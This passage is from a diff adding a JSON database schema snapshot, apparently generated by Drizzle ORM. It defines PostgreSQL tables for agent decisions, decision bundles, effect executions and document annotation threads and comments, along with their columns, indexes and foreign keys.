+          "primaryKey": false,
+          "notNull": false
+        },
+        "retention_policy": {
+          "name": "retention_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'scrub_deleted_comments_v1'"
+        },
+        "snapshot": {
+          "name": "snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_training_examples_company_created_at_idx": {
+          "name": "decision_training_examples_company_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_training_examples_issue_idx": {
+          "name": "decision_training_examples_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_training_examples_source_author_uq": {
+          "name": "decision_training_examples_source_author_uq",
+          "columns": [
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_by_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_training_examples_company_id_companies_id_fk": {
+          "name": "decision_training_examples_company_id_companies_id_fk",
+          "tableFrom": "decision_training_examples",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_training_examples_issue_id_issues_id_fk": {
+          "name": "decision_training_examples_issue_id_issues_id_fk",
+          "tableFrom": "decision_training_examples",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.decision_bundles": {
+      "name": "decision_bundles",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "summary": {
+          "name": "summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_agent_id": {
+          "name": "origin_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_issue_id": {
+          "name": "origin_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_run_id": {
+          "name": "origin_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_bundles_company_created_at_idx": {
+          "name": "decision_bundles_company_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_bundles_company_id_companies_id_fk": {
+          "name": "decision_bundles_company_id_companies_id_fk",
+          "tableFrom": "decision_bundles",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_bundles_origin_agent_id_agents_id_fk": {
+          "name": "decision_bundles_origin_agent_id_agents_id_fk",
+          "tableFrom": "decision_bundles",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "origin_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_bundles_origin_issue_id_issues_id_fk": {
+          "name": "decision_bundles_origin_issue_id_issues_id_fk",
+          "tableFrom": "decision_bundles",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "origin_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_bundles_origin_run_id_heartbeat_runs_id_fk": {
+          "name": "decision_bundles_origin_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "decision_bundles",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "origin_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.decision_effect_executions": {
+      "name": "decision_effect_executions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "decision_id": {
+          "name": "decision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "effect_index": {
+          "name": "effect_index",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "effect_type": {
+          "name": "effect_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_issue_id": {
+          "name": "target_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'claimed'"
+        },
+        "result": {
+          "name": "result",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "activity_log_id": {
+          "name": "activity_log_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "executed_at": {
+          "name": "executed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        }
+      },
+      "indexes": {
+        "decision_effect_executions_decision_effect_uq": {
+          "name": "decision_effect_executions_decision_effect_uq",
+          "columns": [
+            {
+              "expression": "decision_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "effect_index",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_effect_executions_target_issue_idx": {
+          "name": "decision_effect_executions_target_issue_idx",
+          "columns": [
+            {
+              "expression": "target_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_effect_executions_decision_id_decisions_id_fk": {
+          "name": "decision_effect_executions_decision_id_decisions_id_fk",
+          "tableFrom": "decision_effect_executions",
+          "tableTo": "decisions",
+          "columnsFrom": [
+            "decision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_effect_executions_target_issue_id_issues_id_fk": {
+          "name": "decision_effect_executions_target_issue_id_issues_id_fk",
+          "tableFrom": "decision_effect_executions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "target_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_effect_executions_activity_log_id_activity_log_id_fk": {
+          "name": "decision_effect_executions_activity_log_id_activity_log_id_fk",
+          "tableFrom": "decision_effect_executions",
+          "tableTo": "activity_log",
+          "columnsFrom": [
+            "activity_log_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.decision_target_issues": {
+      "name": "decision_target_issues",
+      "schema": "",
+      "columns": {
+        "decision_id": {
+          "name": "decision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        }
+      },
+      "indexes": {
+        "decision_target_issues_decision_idx": {
+          "name": "decision_target_issues_decision_idx",
+          "columns": [
+            {
+              "expression": "decision_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_target_issues_issue_idx": {
+          "name": "decision_target_issues_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_target_issues_decision_id_decisions_id_fk": {
+          "name": "decision_target_issues_decision_id_decisions_id_fk",
+          "tableFrom": "decision_target_issues",
+          "tableTo": "decisions",
+          "columnsFrom": [
+            "decision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_target_issues_issue_id_issues_id_fk": {
+          "name": "decision_target_issues_issue_id_issues_id_fk",
+          "tableFrom": "decision_target_issues",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_target_issues_company_id_companies_id_fk": {
+          "name": "decision_target_issues_company_id_companies_id_fk",
+          "tableFrom": "decision_target_issues",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {
+        "decision_target_issues_decision_id_issue_id_pk": {
+          "name": "decision_target_issues_decision_id_issue_id_pk",
+          "columns": [
+            "decision_id",
+            "issue_id"
+          ]
+        }
+      },
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.decisions": {
+      "name": "decisions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "bundle_id": {
+          "name": "bundle_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "origin_agent_id": {
+          "name": "origin_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_issue_id": {
+          "name": "origin_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_run_id": {
+          "name": "origin_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "rule_key": {
+          "name": "rule_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "options": {
+          "name": "options",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "inputs": {
+          "name": "inputs",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'open'"
+        },
+        "execution_status": {
+          "name": "execution_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "chosen_option_id": {
+          "name": "chosen_option_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "input_values": {
+          "name": "input_values",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decided_by_user_id": {
+          "name": "decided_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decided_at": {
+          "name": "decided_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "idempotency_key": {
+          "name": "idempotency_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "signed_spec": {
+          "name": "signed_spec",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_snapshots": {
+          "name": "target_snapshots",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "continuation_policy": {
+          "name": "continuation_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'none'"
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decisions_company_status_expires_at_idx": {
+          "name": "decisions_company_status_expires_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decisions_bundle_idx": {
+          "name": "decisions_bundle_idx",
+          "columns": [
+            {
+              "expression": "bundle_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decisions_origin_issue_idx": {
+          "name": "decisions_origin_issue_idx",
+          "columns": [
+            {
+              "expression": "origin_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decisions_company_idempotency_uq": {
+          "name": "decisions_company_idempotency_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "idempotency_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"decisions\".\"idempotency_key\" IS NOT NULL",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decisions_company_id_companies_id_fk": {
+          "name": "decisions_company_id_companies_id_fk",
+          "tableFrom": "decisions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decisions_bundle_id_decision_bundles_id_fk": {
+          "name": "decisions_bundle_id_decision_bundles_id_fk",
+          "tableFrom": "decisions",
+          "tableTo": "decision_bundles",
+          "columnsFrom": [
+            "bundle_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "decisions_origin_agent_id_agents_id_fk": {
+          "name": "decisions_origin_agent_id_agents_id_fk",
+          "tableFrom": "decisions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "origin_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decisions_origin_issue_id_issues_id_fk": {
+          "name": "decisions_origin_issue_id_issues_id_fk",
+          "tableFrom": "decisions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "origin_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decisions_origin_run_id_heartbeat_runs_id_fk": {
+          "name": "decisions_origin_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "decisions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "origin_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.document_annotation_anchor_snapshots": {
+      "name": "document_annotation_anchor_snapshots",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "thread_id": {
+          "name": "thread_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "from_revision_id": {
+          "name": "from_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "from_revision_number": {
+          "name": "from_revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "to_revision_id": {
+          "name": "to_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "to_revision_number": {
+          "name": "to_revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "previous_anchor": {
+          "name": "previous_anchor",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "next_anchor": {
+          "name": "next_anchor",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "anchor_state": {
+          "name": "anchor_state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "anchor_confidence": {
+          "name": "anchor_confidence",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "document_annotation_anchor_snapshots_company_thread_created_at_idx": {
+          "name": "document_annotation_anchor_snapshots_company_thread_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "thread_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_anchor_snapshots_company_document_revision_idx": {
+          "name": "document_annotation_anchor_snapshots_company_document_revision_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "to_revision_number",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "document_annotation_anchor_snapshots_company_id_companies_id_fk": {
+          "name": "document_annotation_anchor_snapshots_company_id_companies_id_fk",
+          "tableFrom": "document_annotation_anchor_snapshots",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "document_annotation_anchor_snapshots_thread_id_document_annotation_threads_id_fk": {
+          "name": "document_annotation_anchor_snapshots_thread_id_document_annotation_threads_id_fk",
+          "tableFrom": "document_annotation_anchor_snapshots",
+          "tableTo": "document_annotation_threads",
+          "columnsFrom": [
+            "thread_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_anchor_snapshots_document_id_documents_id_fk": {
+          "name": "document_annotation_anchor_snapshots_document_id_documents_id_fk",
+          "tableFrom": "document_annotation_anchor_snapshots",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_anchor_snapshots_from_revision_id_document_revisions_id_fk": {
+          "name": "document_annotation_anchor_snapshots_from_revision_id_document_revisions_id_fk",
+          "tableFrom": "document_annotation_anchor_snapshots",
+          "tableTo": "document_revisions",
+          "columnsFrom": [
+            "from_revision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "document_annotation_anchor_snapshots_to_revision_id_document_revisions_id_fk": {
+          "name": "document_annotation_anchor_snapshots_to_revision_id_document_revisions_id_fk",
+          "tableFrom": "document_annotation_anchor_snapshots",
+          "tableTo": "document_revisions",
+          "columnsFrom": [
+            "to_revision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.document_annotation_comments": {
+      "name": "document_annotation_comments",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "thread_id": {
+          "name": "thread_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "routine_id": {
+          "name": "routine_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "author_type": {
+          "name": "author_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "author_agent_id": {
+          "name": "author_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_user_id": {
+          "name": "author_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_comment_id": {
+          "name": "issue_comment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_trust": {
+          "name": "source_trust",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "document_annotation_comments_company_thread_created_at_idx": {
+          "name": "document_annotation_comments_company_thread_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "thread_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_comments_company_issue_created_at_idx": {
+          "name": "document_annotation_comments_company_issue_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_comments_company_routine_created_at_idx": {
+          "name": "document_annotation_comments_company_routine_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_comments_company_case_created_at_idx": {
+          "name": "document_annotation_comments_company_case_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_comments_company_document_created_at_idx": {
+          "name": "document_annotation_comments_company_document_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_comments_issue_comment_idx": {
+          "name": "document_annotation_comments_issue_comment_idx",
+          "columns": [
+            {
+              "expression": "issue_comment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_comments_body_search_idx": {
+          "name": "document_annotation_comments_body_search_idx",
+          "columns": [
+            {
+              "expression": "body",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "document_annotation_comments_company_id_companies_id_fk": {
+          "name": "document_annotation_comments_company_id_companies_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_thread_id_document_annotation_threads_id_fk": {
+          "name": "document_annotation_comments_thread_id_document_annotation_threads_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "document_annotation_threads",
+          "columnsFrom": [
+            "thread_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_issue_id_issues_id_fk": {
+          "name": "document_annotation_comments_issue_id_issues_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_routine_id_routines_id_fk": {
+          "name": "document_annotation_comments_routine_id_routines_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "routines",
+          "columnsFrom": [
+            "routine_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
